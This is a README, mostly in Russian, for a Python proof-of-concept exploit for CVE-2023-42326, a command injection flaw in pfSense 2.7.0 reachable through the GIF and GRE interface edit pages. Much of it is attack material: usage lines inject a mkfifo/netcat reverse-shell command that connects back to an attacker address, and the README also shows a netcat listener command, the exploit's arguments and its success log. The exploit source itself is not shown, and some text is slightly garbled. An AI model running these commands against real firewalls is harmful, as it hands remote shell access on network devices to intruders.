
This is a simple POC to for show the pfsense 2.7 Command injection Vulnerability ( CVE-2023-42326)
Этот скрипт на Python является эксплойтом Proof-of-Concept (PoC) для уязвимости внедрения команд (CVE-2023-42326) в pfSense 2.7.0. Уязвимость позволяет аутентифицированным атакующим внедрять и выполнять произвольные команды через компоненты interfaces_gif_edit.php и interfaces_gre_edit.php.
gif или gre) для выбора уязвимых компонентов.Перед запуском скрипта убедитесь, что у вас есть:
pip install requests beautifulsoup4 rich
Эта команда внедряет shell-команду, которая создает обратную оболочку к вашей машине:
python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &"
-u: Имя пользователя для входа администратора pfSense.-p: Пароль для входа администратора pfSense.--mode: Режим эксплойта (либо gif, либо gre).-t: Целевой URL pfSense.-c: Shell-команда для внедрения.-d: (Опционально) Включить режим отладки для просмотра необработанных данных ответа.Убедитесь, что на вашей машине запущен слушатель Netcat:
nc -lvnp 80
Затем запустите скрипт с командой обратной оболочки, например:
python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &" --insecure(for https without valid ssl)
Вход в pfSense и эксплуатация интерфейса GIF

Выполнение обратной оболочки

При успешном выполнении эксплойта вы должны увидеть вывод, похожий на этот:
██████╗ ███████╗██████╗ ██╗ ██╗███╗ ██╗███╗ ███╗███████╗
██╔══██╗██╔════╝██╔══██╗██║ ██║████╗ ██║████╗ ████║██╔════╝
██████╔╝█████╗ ██████╔╝██║ █╗ ██║██╔██╗ ██║██╔████╔██║█████╗
██╔═══╝ ██╔══╝ ██╔═══╝ ██║███╗██║██║╚██╗██║██║╚██╔╝██║██╔══╝
██║ ██║ ██║ ╚███╔███╔╝██║ ╚████║██║ ╚═╝ ██║███████╗
╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝
Done with ❤️ by @bl4ckarch
[2024-10-24 03:57:59] [SUCCESS] Target http://10.101.1.1 is reachable
[2024-10-24 03:57:59] [INFO] Fetching CSRF token from: http://10.101.1.1/
[2024-10-24 03:57:59] [SUCCESS] CSRF token extracted successfully
[2024-10-24 03:57:59] [INFO] Sending GIF exploit request to http://10.101.1.1/interfaces_gif_edit.php
[2024-10-24 03:57:59] [SUCCESS] GIF Exploit sent successfully
Если вы хотите увидеть больше деталей об отправляемых запросах, вы можете включить режим отладки, добавив -d в вашу команду. Это выведет данные ответа и поможет устранить любые проблемы.
python3 exploit.py -u "admin" -p 'pfsense' --mode 'gif' -t http://10.101.1.1 -c "your_command_here" -d --insecure(for https without valid ssl)
-d для более детального логирования при необходимости.| Аргумент | Описание |
|---|
-u | Имя пользователя для входа администратора pfSense. |
-p | Пароль для входа администратора pfSense. |
-t | Целевой URL/IP-адрес pfSense (например, http://10.101.1.1). |
--mode | Режим эксплойта: gif (для interfaces_gif_edit.php) или gre. |
-c | Команда для внедрения в уязвимый компонент. |
-d | Опционально. Включить режим отладки для вывода данных ответа. |